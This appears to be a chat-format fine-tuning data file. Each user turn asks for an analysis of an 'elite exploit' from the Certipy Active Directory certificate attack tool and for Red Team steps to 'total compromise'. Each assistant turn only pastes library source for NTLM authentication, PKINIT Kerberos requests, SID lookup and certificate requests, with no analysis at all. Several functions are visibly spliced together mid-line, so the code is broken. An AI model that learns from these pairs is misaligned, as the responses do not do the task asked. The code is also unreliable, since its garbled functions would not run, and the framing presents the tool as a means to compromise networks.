handlers if any (to avoid duplicates on re-initialization)\n if logger.handlers:\n logger.handlers.clear()\n\n # Add the new handler\n logger.addHandler(handler)\n logger.setLevel(level)\n logger.propagate = propagate\n\n\n# Create and export the logger instance for direct import\nlogging = _logging.getLogger(\"certipy\")\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/lib/ntlm.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\nimport base64\nimport calendar\nimport random\nimport string\nimport struct\nimport time\nfrom typing import Generator, Optional, Tuple, cast\n\nimport httpx\nfrom Cryptodome.Cipher import ARC4\nfrom impacket.ntlm import (\n AV_PAIRS,\n KXKEY,\n MAC,\n NTLMSSP_AV_DNS_HOSTNAME,\n NTLMSSP_AV_TARGET_NAME,\n NTLMSSP_AV_TIME,\n NTLMSSP_NEGOTIATE_56,\n NTLMSSP_NEGOTIATE_128,\n NTLMSSP_NEGOTIATE_ALWAYS_SIGN,\n NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY,\n NTLMSSP_NEGOTIATE_KEY_EXCH,\n NTLMSSP_NEGOTIATE_NTLM,\n NTLMSSP_NEGOTIATE_SEAL,\n NTLMSSP_NEGOTIATE_SIGN,\n NTLMSSP_NEGOTIATE_TARGET_INFO,\n NTLMSSP_NEGOTIATE_UNICODE,\n NTLMSSP_NEGOTIATE_VERSION,\n NTLMSSP_REQUEST_TARGET,\n SEAL,\n SEALKEY,\n SIGNKEY,\n NTLMAuthChallenge,\n NTLMAuthChallengeResponse,\n NTLMAuthNegotiate,\n NTLMMessageSignature,\n NTOWFv2,\n generateEncryptedSessionKey,\n hmac_md5,\n)\nfrom impacket.spnego import SPNEGO_NegTokenResp\n\nfrom certipy.lib.channel_binding import get_channel_binding_data_from_response\nfrom certipy.lib.http import get_authentication_method\nfrom certipy.lib.logger import logging\nfrom certipy.lib.target import Target\n\n# Constants\nNTLMSSP_AV_CHANNEL_BINDINGS = 0x0A\nDEFAULT_USER_AGENT = \"Certipy\"\nDEFAULT_SERVICE = \"HTTP\"\n\n\ndef compute_response(\n server_challenge: bytes,\n client_challenge: bytes,\n target_info: bytes,\n domain: str,\n user: str,\n password: str,\n nt_hash: str = \"\",\n channel_binding_data: Optional[bytes] = None,\n service: str = \"HOST\",\n) -> Tuple[bytes, bytes, bytes, bytes]:\n \"\"\"\n Compute NTLMv2 response based on the provided parameters.\n\n Args:\n server_challenge: Challenge received from the server\n client_challenge: Client-generated random challenge\n target_info: Target information provided by the server\n domain: Domain name for authentication\n user: Username for authentication\n password: Password for authentication\n nt_hash: NT hash if available, otherwise password will be used\n channel_binding_data: Channel binding data for EPA compliance\n service: Service name for the SPN\n\n Returns:\n Tuple containing:\n - NT challenge response\n - LM challenge response\n - Session base key\n - Target hostname\n\n Raises:\n ValueError: If target information is missing DNS hostname\n \"\"\"\n # Generate response key\n response_key_nt = NTOWFv2(user, password, domain, bytes.fromhex(nt_hash) if nt_hash else \"\") # type: ignore\n av_pairs = AV_PAIRS(target_info)\n\n # Add SPN (target name)\n if av_pairs[NTLMSSP_AV_DNS_HOSTNAME] is None:\n raise ValueError(\"NTLMSSP_AV_DNS_HOSTNAME not found in target info\")\n\n hostname = cast(Tuple[int, bytes], av_pairs[NTLMSSP_AV_DNS_HOSTNAME])[1]\n spn = f\"{service}/\".encode(\"utf-16le\") + hostname\n av_pairs[NTLMSSP_AV_TARGET_NAME] = spn\n\n # Add timestamp if not already present\n if av_pairs[NTLMSSP_AV_TIME] is None:\n timestamp = struct.pack(\n \" NTLMAuthNegotiate:\n \"\"\"\n Generate an NTLMSSP Type 1 negotiation message.\n\n Args:\n signing_required: Whether signing is required for the connection\n use_ntlmv2: Whether to use NTLMv2 (should be True for modern systems)\n version: OS version to include in the message\n\n Returns:\n NTLMAuthNegotiate object representing the Type 1 message\n \"\"\"\n # Create base negotiate message with standard flags\n auth = NTLMAuthNegotiate()\n auth[\"flags\"] = (\n NTLMSSP_NEGOTIATE_NTLM\n | NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY\n | NTLMSSP_NEGOTIATE_UNICODE\n | NTLMSSP_REQUEST_TARGET\n | NTLMSSP_NEGOTIATE_128\n | NTLMSSP_NEGOTIATE_56\n )\n\n # Add security flags if signing is required\n if signing_required:\n auth[\"flags\"] |= (\n NTLMSSP_NEGOTIATE_KEY_EXCH\n | NTLMSSP_NEGOTIATE_SIGN\n | NTLMSSP_NEGOTIATE_ALWAYS_SIGN\n | NTLMSSP_NEGOTIATE_SEAL\n )\n\n # Add NTLMv2 target info flag\n if use_ntlmv2:\n auth[\"flags\"] |= NTLMSSP_NEGOTIATE_TARGET_INFO\n\n # Add version if specified\n if version:\n auth[\"flags\"] |= NTLMSSP_NEGOTIATE_VERSION\n auth[\"os_version\"] = version\n\n return auth\n\n\ndef ntlm_authenticate(\n type1: NTLMAuthNegotiate,\n challenge: NTLMAuthChallenge,\n user: str,\n password: str,\n domain: str,\n nt_hash: str = \"\",\n channel_binding_data: Optional[bytes] = None,\n service: str = \"HOST\",\n version: Optional[bytes] = None,\n) -> Tuple[NTLMAuthChallengeResponse, bytes, int]:\n \"\"\"\n Generate an NTLMSSP Type 3 authentication message in response to a server challenge.\n\n Args:\n type1: The Type 1 negotiate message that was sent\n challenge: The Type 2 challenge message received from the server\n user: Username for authentication\n password: Password for authentication\n domain: Domain name for authentication\n nt_hash: NT hash if available, otherwise password will be used\n channel_binding_data: Channel binding data for EPA compliance\n service: Service name for the SPN\n version: OS version to include in the message\n\n Returns:\n Tuple containing:\n - NTLMAuthChallengeResponse object (Type 3 message)\n - Exported session key for further operations\n - Negotiated flags\n \"\"\"\n # Get response flags from the initial negotiate message\n response_flags = type1[\"flags\"]\n\n # Generate client challenge (8 random bytes)\n client_challenge = struct.pack(\" Generator[httpx.Request, httpx.Response, None]:\n \"\"\"\n Implement the authentication flow for HTTPX.\n\n This generator handles the NTLM authentication protocol flow by:\n 1. Sending the initial request\n 2. If authentication is required, starting the NTLM flow\n 3. Completing the NTLM handshake\n\n Args:\n request: The HTTPX request to authenticate\n\n Yields:\n Modified requests with appropriate authentication headers\n\n Raises:\n ValueError: If authentication fails or server responses are invalid\n \"\"\"\n # Set connection to keep-alive to maintain the authentication state\n request.headers[\"Connection\"] = \"Keep-Alive\"\n\n # Send the initial request\n response = yield request\n\n # If server requires authentication, proceed with the NTLM flow\n if response.status_code in (401, 407):\n yield from self.retry_with_auth(request, response)\n\n def retry_with_auth(\n self, request: httpx.Request, response: httpx.Response\n ) -> Generator[httpx.Request, httpx.Response, None]:\n \"\"\"\n Retry the request with NTLM authentication.\n\n Implements the complete NTLM authentication flow:\n 1. Send Type 1 (Negotiate) message\n 2. Process Type 2 (Challenge) message from server\n 3. Send Type 3 (Authenticate) message\n\n Args:\n request: The original HTTPX request\n response: The HTTPX response requiring authentication\n\n Yields:\n Modified requests with appropriate authentication headers\n\n Raises:\n ValueError: If authentication fails or server responses are invalid\n \"\"\"\n # Determine header names based on status code (proxy vs direct)\n is_proxy_auth = response.status_code == 407\n authenticate_header_name = (\n \"Proxy-Authenticate\" if is_proxy_auth else \"WWW-Authenticate\"\n )\n authorization_header_name = (\n \"Proxy-Authorization\" if is_proxy_auth else \"Authorization\"\n )\n\n # Check if server sent authentication challenge\n authenticate_header = response.headers.get(authenticate_header_name)\n if authenticate_header is None:\n raise ValueError(\"No authentication challenge returned from server\")\n\n # Step 1: Generate Type 1 (Negotiate) message\n type1 = ntlm_negotiate()\n\n # Get the authentication method (NTLM, Negotiate, etc.)\n authentication_method = get_authentication_method(authenticate_header)\n\n # Encode Type 1 message\n auth = base64.b64encode(type1.getData()).decode()\n\n # Add Type 1 message to request header\n request.headers[authorization_header_name] = f\"{authentication_method} {auth}\"\n\n # Send request with Type 1 message\n response = yield request\n\n # Handle cookies if present\n if response.headers.get(\"Set-Cookie\") is not None:\n request.headers[\"Cookie\"] = response.headers[\"Set-Cookie\"]\n\n # Get Type 2 (Challenge) message from server\n authenticate_header = response.headers.get(authenticate_header_name)\n if authenticate_header is None:\n raise ValueError(\"No authentication challenge returned from server\")\n\n # Extract the server challenge from the authentication header\n try:\n # Find the challenge portion of the header\n server_challenge_base64 = next(\n s.strip()[len(authentication_method) :]\n for s in (val.lstrip() for val in authenticate_header.split(\",\"))\n if s.startswith(authentication_method)\n ).strip()\n except Exception:\n raise ValueError(\n f\"Failed to parse authentication header: {authenticate_header!r}\"\n )\n\n # Decode the challenge\n try:\n server_challenge = base64.b64decode(server_challenge_base64)\n except Exception as e:\n raise ValueError(\n f\"Failed to decode server challenge: {authenticate_header!r} - {e}\"\n )\n\n # Check if challenge is wrapped in SPNEGO\n if (\n server_challenge\n and struct.unpack(\"B\", server_challenge[:1])[0]\n == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP\n ):\n resp = SPNEGO_NegTokenResp(server_challenge)\n type2 = resp[\"ResponseToken\"]\n else:\n type2 = server_challenge\n\n if not type2:\n # This means that the server is not using NTLM\n # and we should not continue with NTLM authentication\n logging.debug(\n \"Server did not return a valid NTLM challenge. The server may have disabled NTLM authentication.\"\n )\n raise NtlmNotSupportedError(\"Server did not return a valid NTLM challenge.\")\n\n # Parse Type 2 message\n challenge = NTLMAuthChallenge()\n try:\n challenge.fromString(type2)\n except Exception as e:\n raise ValueError(\n f\"Failed to parse server challenge: {authenticate_header!r} - {e}\"\n )\n\n # Get channel binding data if enabled\n channel_binding_data: Optional[bytes] = None\n if self.channel_binding:\n channel_binding_data = get_channel_binding_data_from_response(response)\n\n # Step 3: Generate Type 3 (Authentication) message\n type3, _, _ = ntlm_authenticate(\n type1,\n challenge,\n self.target.username,\n self.target.password or \"\",\n self.target.domain,\n self.target.nthash,\n channel_binding_data=channel_binding_data,\n service=self.service,\n )\n\n # Encode and add Type 3 message to request\n auth = base64.b64encode(type3.getData()).decode()\n request.headers[authorization_header_name] = f\"{authentication_method} {auth}\"\n\n # Send authenticated request\n yield request\n\n\nclass NTLMCipher:\n def __init__(self, flags: int, session_key: bytes):\n self.flags = flags\n\n # Same key for everything\n self.client_sign_key = session_key\n self.server_sign_key = session_key\n self.client_seal_key = session_key\n self.client_seal_key = session_key\n cipher = ARC4.new(self.client_sign_key)\n self.client_seal = cipher.encrypt\n self.server_seal = cipher.encrypt\n\n if self.flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:\n self.client_sign_key = cast(bytes, SIGNKEY(self.flags, session_key))\n self.server_sign_key = cast(\n bytes, SIGNKEY(self.flags, session_key, \"Server\")\n )\n self.client_seal_key = SEALKEY(self.flags, session_key)\n self.server_seal_key = SEALKEY(self.flags, session_key, \"Server\")\n\n client_cipher = ARC4.new(self.client_seal_key)\n self.client_seal = client_cipher.encrypt\n server_cipher = ARC4.new(self.server_seal_key)\n self.server_seal = server_cipher.encrypt\n\n self.sequence = 0\n\n def encrypt(self, plain_data: bytes) -> Tuple[NTLMMessageSignature, bytes]:\n message, signature = SEAL(\n self.flags,\n self.client_sign_key,\n self.client_seal_key,\n plain_data,\n plain_data,\n self.sequence,\n self.client_seal,\n )\n\n self.sequence += 1\n\n return signature, message\n\n def decrypt(self, answer: bytes) -> Tuple[NTLMMessageSignature, bytes]:\n answer, signature = SEAL(\n self.flags,\n self.server_sign_key,\n self.server_seal_key,\n answer[:16],\n answer[16:],\n self.sequence,\n self.server_seal,\n )\n\n return signature, answer\n\n def sign(self, data: bytes, seq: int = 0, reset_cipher: bool = False):\n signature = MAC(self.flags, self.client_seal, self.client_sign_key, seq, data)\n if reset_cipher:\n if self.flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:\n client_cipher = ARC4.new(self.client_seal_key)\n self.client_seal = client_cipher.encrypt\n server_cipher = ARC4.new(self.server_seal_key)\n self.server_seal = server_cipher.encrypt\n else:\n cipher = ARC4.new(self.client_sign_key)\n self.client_seal = cipher.encrypt\n self.server_seal = cipher.encrypt\n self.sequence += 1\n return signature\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/lib/pkinit.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nPKINIT implementation for Kerberos authentication.\n\nThis module provides functionality for Public Key Cryptography for Initial Authentication\nin Kerberos (PKINIT), allowing certificate-based authentication to Kerberos services.\nIt implements:\n- Certificate signing and verification\n- Diffie-Hellman key exchange\n- Authentication request generation\n\nReferences:\n- RFC 4556: PKINIT specification\n- MS-PKCA: Public Key Cryptography for Initial Authentication\n\"\"\"\n\nimport datetime\nimport os\nfrom random import getrandbits\nfrom typing import Dict, Tuple, Union\n\nfrom asn1crypto import algos as asn1algos\nfrom asn1crypto import cms as asn1cms\nfrom asn1crypto import keys as asn1keys\nfrom asn1crypto import x509 as asn1x509\nfrom impacket.krb5 import constants\n\nfrom certipy.lib.certificate import (\n cert_to_der,\n hash_digest,\n hashes,\n rsa,\n rsa_pkcs1v15_sign,\n x509,\n)\nfrom certipy.lib.structs import (\n AsReq,\n AuthPack,\n EncType,\n KDCOptions,\n KdcReqBody,\n NameType,\n PaPacRequest,\n PaPkAsReq,\n PKAuthenticator,\n PrincipalName,\n e2i,\n)\n\n# =========================================================================\n# Constants and Defaults\n# =========================================================================\n\n# Well-Known Group 2: A 1024-bit prime\n# Source: https://datatracker.ietf.org/doc/html/rfc2412#appendix-E.2\nDH_PARAMS = {\n \"p\": int(\n (\n \"00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea6\"\n \"3b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e4\"\n \"85b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b\"\n \"1fe649286651ece65381ffffffffffffffff\"\n ),\n 16,\n ),\n \"g\": 2,\n}\n\n# OIDs used in PKINIT\nPKINIT_OID = \"1.3.6.1.5.2.3.1\"\nCMS_SIGNED_DATA_OID = \"1.2.840.113549.1.7.2\"\nDH_KEY_AGREEMENT_OID = \"1.2.840.10046.2.1\"\n\n\n# =========================================================================\n# Diffie-Hellman Implementation\n# =========================================================================\n\n\nclass DirtyDH:\n \"\"\"\n Lightweight Diffie-Hellman key exchange implementation.\n\n This class supports:\n - Creating DH parameters from various sources\n - Generating public keys\n - Computing shared secrets\n \"\"\"\n\n def __init__(self, p: int, g: int):\n \"\"\"Initialize a new DH instance with random private key.\"\"\"\n self.p = p\n self.g = g\n self.private_key = os.urandom(32)\n self.private_key_int = int.from_bytes(self.private_key, byteorder=\"big\")\n self.dh_nonce = os.urandom(32)\n\n @staticmethod\n def from_dict(dhp: Dict[str, int]) -> \"DirtyDH\":\n \"\"\"\n Create a DH instance from a dictionary of parameters.\n\n Args:\n dhp: Dictionary containing 'p' and 'g' keys\n\n Returns:\n Configured DH instance\n \"\"\"\n dd = DirtyDH(dhp[\"p\"], dhp[\"g\"])\n return dd\n\n def get_public_key(self) -> int:\n \"\"\"\n Calculate the public key.\n\n Returns:\n Public key value (g^x mod p)\n\n Raises:\n ValueError: If p and g are not set\n \"\"\"\n # y = g^x mod p\n return pow(self.g, self.private_key_int, self.p)\n\n def exchange(self, peer_public_key: int) -> bytes:\n \"\"\"\n Perform key exchange with peer's public key.\n\n Args:\n peer_public_key: Peer's public key value\n\n Returns:\n The shared secret as bytes\n \"\"\"\n shared_key_int = pow(peer_public_key, self.private_key_int, self.p)\n # Convert to bytes, ensuring even length\n hex_key = hex(shared_key_int)[2:]\n if len(hex_key) % 2 != 0:\n hex_key = \"0\" + hex_key\n\n shared_key = bytes.fromhex(hex_key)\n return shared_key\n\n\n# =========================================================================\n# PKINIT Functions\n# =========================================================================\n\n\ndef sign_authpack(\n data: bytes,\n key: rsa.RSAPrivateKey,\n cert: Union[x509.Certificate, asn1x509.Certificate],\n) -> bytes:\n \"\"\"\n Create a signed CMS structure containing the AuthPack.\n\n Args:\n data: The AuthPack data to sign\n key: RSA private key for signing\n cert: Certificate to include in the signed data\n\n Returns:\n ASN.1 DER encoded CMS signed data\n \"\"\"\n # Convert certificate to asn1crypto format if needed\n if isinstance(cert, x509.Certificate):\n cert = asn1x509.Certificate.load(cert_to_der(cert))\n\n # Create digest algorithm identifier for SHA-1\n digest_algorithm = {\"algorithm\": asn1algos.DigestAlgorithmId(\"sha1\")}\n\n # Create signer info\n signer_info = {\n \"version\": \"v1\",\n \"sid\": asn1cms.IssuerAndSerialNumber(\n {\n \"issuer\": cert.issuer,\n \"serial_number\": cert.serial_number,\n }\n ),\n \"digest_algorithm\": asn1algos.DigestAlgorithm(digest_algorithm),\n \"signed_attrs\": [\n asn1cms.CMSAttribute({\"type\": \"content_type\", \"values\": [PKINIT_OID]}),\n asn1cms.CMSAttribute(\n {\"type\": \"message_digest\", \"values\": [hash_digest(data, hashes.SHA1)]}\n ),\n ],\n \"signature_algorithm\": asn1algos.SignedDigestAlgorithm(\n {\"algorithm\": \"sha1_rsa\"}\n ),\n \"signature\": bytes(),\n }\n\n # Create the signature\n signer_info[\"signature\"] = rsa_pkcs1v15_sign(\n asn1cms.CMSAttributes(signer_info[\"signed_attrs\"]).dump(),\n key,\n hash_algorithm=hashes.SHA1,\n )\n\n # Create encapsulated content info\n encapsulated_content_info = {\"content_type\": PKINIT_OID, \"content\": data}\n\n # Create the signed data structure\n signed_data = {\n \"version\": \"v3\",\n \"digest_algorithms\": [asn1algos.DigestAlgorithm(digest_algorithm)],\n \"encap_content_info\": asn1cms.EncapsulatedContentInfo(\n encapsulated_content_info\n ),\n \"certificates\": [cert],\n \"signer_infos\": asn1cms.SignerInfos([asn1cms.SignerInfo(signer_info)]),\n }\n\n # Create the content info wrapper\n content_info = {\n \"content_type\": CMS_SIGNED_DATA_OID,\n \"content\": asn1cms.SignedData(signed_data),\n }\n\n # Return DER-encoded ContentInfo\n return asn1cms.ContentInfo(content_info).dump()\n\n\ndef build_pkinit_as_req(\n username: str, domain: str, key: rsa.RSAPrivateKey, cert: x509.Certificate\n) -> Tuple[bytes, DirtyDH]:\n \"\"\"\n Build a PKINIT AS-REQ message.\n\n Args:\n username: Client username\n domain: Domain/realm name\n key: RSA private key for signing\n cert: Client certificate\n\n Returns:\n A tuple containing:\n - The encoded AS-REQ message\n - The DirtyDH object for later key exchange\n \"\"\"\n # Get current time\n now = datetime.datetime.now(datetime.timezone.utc)\n\n # Build KDC-REQ-BODY\n kdc_req_body_data = {\n \"kdc-options\": KDCOptions({\"forwardable\", \"renewable\", \"renewable-ok\"}),\n \"cname\": PrincipalName(\n {\"name-type\": NameType.PRINCIPAL, \"name-string\": [username]}\n ),\n \"realm\": domain.upper(),\n \"sname\": PrincipalName(\n {\n \"name-type\": NameType.SRV_INST,\n \"name-string\": [\"krbtgt\", domain.upper()],\n }\n ),\n \"till\": (now + datetime.timedelta(days=1)).replace(microsecond=0),\n \"rtime\": (now + datetime.timedelta(days=1)).replace(microsecond=0),\n \"nonce\": getrandbits(31),\n \"etype\": [EncType.AES256, EncType.AES128], # Prefer stronger ciphers\n }\n\n kdc_req_body = KdcReqBody(kdc_req_body_data)\n\n # Calculate checksum of the KDC-REQ-BODY\n checksum = hash_digest(kdc_req_body.dump(), hashes.SHA1)\n\n # Build PKAuthenticator\n authenticator = {\n \"cusec\": now.microsecond,\n \"ctime\": now.replace(microsecond=0),\n \"nonce\": getrandbits(31),\n \"paChecksum\": checksum,\n }\n\n # Set up Diffie-Hellman\n diffie = DirtyDH.from_dict(DH_PARAMS)\n\n # Create DH domain parameters structure\n dh_params = {\n \"p\": diffie.p,\n \"g\": diffie.g,\n \"q\": 0, # Not used but required by some implementations\n }\n\n # Create public key algorithm identifier for DH\n public_key_algorithm = {\n \"algorithm\": DH_KEY_AGREEMENT_OID,\n \"parameters\": asn1keys.DomainParameters(dh_params),\n }\n\n # Create subject public key info structure\n subject_public_key_info = {\n \"algorithm\": asn1keys.PublicKeyAlgorithm(public_key_algorithm),\n \"public_key\": diffie.get_public_key(),\n }\n\n # Build AuthPack\n authpack_data = {\n \"pkAuthenticator\": PKAuthenticator(authenticator),\n \"clientPublicValue\": asn1keys.PublicKeyInfo(subject_public_key_info),\n \"clientDHNonce\": diffie.dh_nonce,\n }\n\n # Encode and sign the AuthPack\n authpack = AuthPack(authpack_data)\n signed_authpack = sign_authpack(authpack.dump(), key, cert)\n\n # Build PA-PK-AS-REQ\n pa_pk_as_req = PaPkAsReq()\n pa_pk_as_req[\"signedAuthPack\"] = signed_authpack\n\n # Prepare PA-DATA entries\n # PA-PAC-REQUEST to request a PAC\n pa_data_pac = {\n \"padata-type\": e2i(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST),\n \"padata-value\": PaPacRequest({\"include-pac\": True}).dump(),\n }\n\n # PA-PK-AS-REQ for PKINIT\n pa_data_pk = {\n \"padata-type\": e2i(constants.PreAuthenticationDataTypes.PA_PK_AS_REQ),\n \"padata-value\": pa_pk_as_req.dump(),\n }\n\n # Build AS-REQ\n asreq = {\n \"pvno\": 5, # Kerberos version 5\n \"msg-type\": 10, # AS-REQ\n \"padata\": [pa_data_pac, pa_data_pk],\n \"req-body\": kdc_req_body,\n }\n\n # Return the encoded AS-REQ and the Diffie-Hellman object\n return AsReq(asreq).dump(), diffie\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/lib/registry.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nRegistry module for Certipy.\n\nThis module provides functionality for working with registry-like entries and connections\nthat can map between security identifiers (SIDs) and their corresponding objects.\nIt supports:\n- Looking up well-known SIDs and RIDs\n- Tracking user security identifiers\n- Mapping between SIDs and friendly names\n\nThe primary classes are:\n- RegEntry: Represents a registry-like entry with attributes\n- RegConnection: Manages SID resolution and mapping\n\"\"\"\n\nfrom typing import Dict, List, Optional, Union\n\nfrom certipy.lib.bloodhound import BloodHound, BloodHoundError\nfrom certipy.lib.constants import WELLKNOWN_RIDS, WELLKNOWN_SIDS\nfrom certipy.lib.ldap import LDAPEntry\n\n\nclass RegEntry(LDAPEntry):\n \"\"\"\n Registry entry class that extends LDAPEntry to provide registry-specific functionality.\n\n This class represents an object in the registry with attributes similar to LDAP entries.\n It handles data type conversions and provides attribute access methods.\n \"\"\"\n\n def __init__(self, *args, **kwargs) -> None: # type: ignore\n \"\"\"\n Initialize a registry entry.\n\n Args:\n **kwargs: Key-value pairs to initialize the entry with\n \"\"\"\n super().__init__(self, *args, **kwargs)\n if \"attributes\" not in self:\n self[\"attributes\"] = {}\n\n def get_raw(self, key: str) -> Union[bytes, List[bytes], None]:\n \"\"\"\n Get a raw (bytes) representation of an attribute value.\n\n Args:\n key: The attribute name to retrieve\n\n Returns:\n Raw data as bytes, list of bytes, or None if not found\n\n Notes:\n - String values are encoded to bytes\n - List values have each item encoded to bytes\n - Other values are returned as-is\n \"\"\"\n data = self.get(key)\n\n if isinstance(data, str):\n return data.encode()\n elif isinstance(data, list):\n return [x.encode() if isinstance(x, str) else x for x in data]\n\n return data\n\n\nclass RegConnection:\n \"\"\"\n Registry connection class that manages SID mapping and resolution.\n\n This class provides functionality to:\n - Track user SIDs\n - Look up SIDs to find corresponding objects\n - Map between SIDs and their friendly names\n \"\"\"\n\n def __init__(\n self,\n domain: str,\n sids: List[str],\n scheme: str = \"file\",\n bloodhound: Optional[BloodHound] = None,\n ) -> None:\n \"\"\"\n Initialize a registry connection.\n\n Args:\n domain: Domain name for the connection\n sids: List of security identifiers to track\n scheme: Connection scheme, defaults to \"file\"\n \"\"\"\n self.domain: str = domain\n self.sids: List[str] = sids\n self.sid_map: Dict[str, RegEntry] = {}\n self.scheme: str = scheme\n self.bloodhound: Optional[BloodHound] = bloodhound\n\n def get_user_sids(\n self,\n _username: str,\n _user_sid: Optional[str] = None,\n _user_dn: Optional[str] = None,\n ) -> List[str]:\n \"\"\"\n Get user security identifiers.\n\n Args:\n _username: Username (not used in this implementation)\n _user_sid: User's primary SID (not used in this implementation)\n _user_dn: User's distinguished name (not used in this implementation)\n\n Returns:\n List of SIDs associated with this connection\n\n Notes:\n The parameters are kept for API compatibility but not used.\n This implementation simply returns the SIDs provided at initialization.\n \"\"\"\n return self.sids\n\n def lookup_sid(self, sid: str) -> RegEntry:\n \"\"\"\n Look up a security identifier and return corresponding registry entry.\n\n Args:\n sid: Security identifier to look up\n\n Returns:\n RegEntry object representing the SID\n\n Notes:\n - Checks cached entries first\n - Then checks well-known SIDs\n - Then checks well-known RIDs\n - Finally creates a base entry if not found elsewhere\n \"\"\"\n # Check if we've already cached this SID\n if sid in self.sid_map:\n return self.sid_map[sid]\n\n # Check well-known SIDs\n if sid in WELLKNOWN_SIDS:\n name, obj_type = WELLKNOWN_SIDS[sid]\n entry = RegEntry(\n **{\n \"attributes\": {\n \"objectSid\": f\"{self.domain.upper()}-{sid}\",\n \"objectType\": obj_type.capitalize(),\n \"name\": f\"{self.domain}\\\\{name}\",\n }\n }\n )\n self.sid_map[sid] = entry\n return entry\n\n # Check if this is a well-known RID\n rid = sid.split(\"-\")[-1]\n if rid in WELLKNOWN_RIDS:\n name, obj_type = WELLKNOWN_RIDS[rid]\n entry = RegEntry(\n **{\n \"attributes\": {\n \"objectSid\": f\"{self.domain.upper()}-{sid}\",\n \"objectType\": obj_type.capitalize(),\n \"name\": f\"{self.domain}\\\\{name}\",\n }\n }\n )\n self.sid_map[sid] = entry\n return entry\n\n if self.bloodhound:\n try:\n name, obj_type = self.bloodhound.lookup_sid(sid)\n entry = RegEntry(\n **{\n \"attributes\": {\n \"objectSid\": f\"{self.domain.upper()}-{sid}\",\n \"objectType\": obj_type.capitalize(),\n \"name\": f\"{self.domain}\\\\{name}\",\n }\n }\n )\n self.sid_map[sid] = entry\n return entry\n except BloodHoundError:\n # Entry was not found\n pass\n\n # Create a generic entry for unknown SIDs\n entry = RegEntry(\n **{\n \"attributes\": {\n \"objectSid\": sid,\n \"name\": sid,\n \"objectType\": \"Base\",\n }\n }\n )\n\n # Cache this entry for future lookups\n self.sid_map[sid] = entry\n\n return entry\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/lib/req.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nCertificate Request and Management Functions for Certipy\n\nThis module implements certificate request, retrieval, and management functionality for Certipy,\nproviding both RPC and web-based interactions with Active Directory Certificate Services (AD CS).\n\nThe module handles:\n- Certificate request submission (RPC, DCOM and web enrollment)\n- Certificate retrieval for both immediate and pending requests\n- Certificate storage and management (saving as PFX or PEM)\n- Error handling for various certificate operations\n\nKey components:\n1. Request Class - Main interface for all certificate operations\n2. Request Interfaces - Protocol-specific implementations (RPC, DCOM, Web)\n3. Response Handlers - Process responses from certificate services\n4. Certificate Processing - Handle certificate data once received\n5. Helper Functions - Utility functions for common operations\n\"\"\"\n\nimport re\nfrom typing import Any, Dict, List, Optional, Protocol, Tuple, Union\n\nimport httpx\nfrom cryptography.hazmat.primitives.asymmetric.types import PrivateKeyTypes\nfrom impacket.dcerpc.v5 import rpcrt\nfrom impacket.dcerpc.v5.dcom.oaut import string_to_bin\nfrom impacket.dcerpc.v5.dcomrt import DCOMANSWER, DCOMCALL, DCOMConnection, IRemUnknown2\nfrom impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, NULL, PBYTE, ULONG\nfrom impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT\nfrom impacket.dcerpc.v5.nrpc import checkNullString\nfrom impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY\nfrom impacket.uuid import uuidtup_to_bin\n\nfrom certipy.commands.ca import CA, ICertCustom\nfrom certipy.lib.certificate import (\n cert_id_to_parts,\n cert_to_der,\n cert_to_pem,\n create_csr,\n create_csr_attributes,\n create_key_archival,\n create_on_behalf_of,\n create_pfx,\n create_renewal,\n csr_to_der,\n csr_to_pem,\n der_to_cert,\n der_to_csr,\n der_to_pem,\n get_identities_from_certificate,\n get_object_sid_from_certificate,\n key_to_pem,\n load_pfx,\n pem_to_cert,\n pem_to_key,\n print_certificate_identities,\n rsa,\n x509,\n)\nfrom certipy.lib.constants import OID_TO_STR_NAME_MAP, USER_AGENT\nfrom certipy.lib.errors import handle_error, translate_error_code\nfrom certipy.lib.files import try_to_save_file\nfrom certipy.lib.kerberos import HttpxKerberosAuth\nfrom certipy.lib.logger import is_verbose, logging\nfrom certipy.lib.ntlm import HttpxNtlmAuth\nfrom certipy.lib.rpc import get_dce_rpc, get_dcom_connection\nfrom certipy.lib.target import Target\n\n# =========================================================================\n# Constants and protocol UUIDs\n# =========================================================================\n\n# MS-ICPR protocol UUID\nMSRPC_UUID_ICPR = uuidtup_to_bin((\"91ae6020-9e3c-11cf-8d7c-00aa00c091be\", \"0.0\"))\n\n# DCOM interface identifiers\nCLSID_ICertRequest = string_to_bin(\"D99E6E74-FC88-11D0-B498-00A0C90312F3\")\nIID_ICertRequestD = 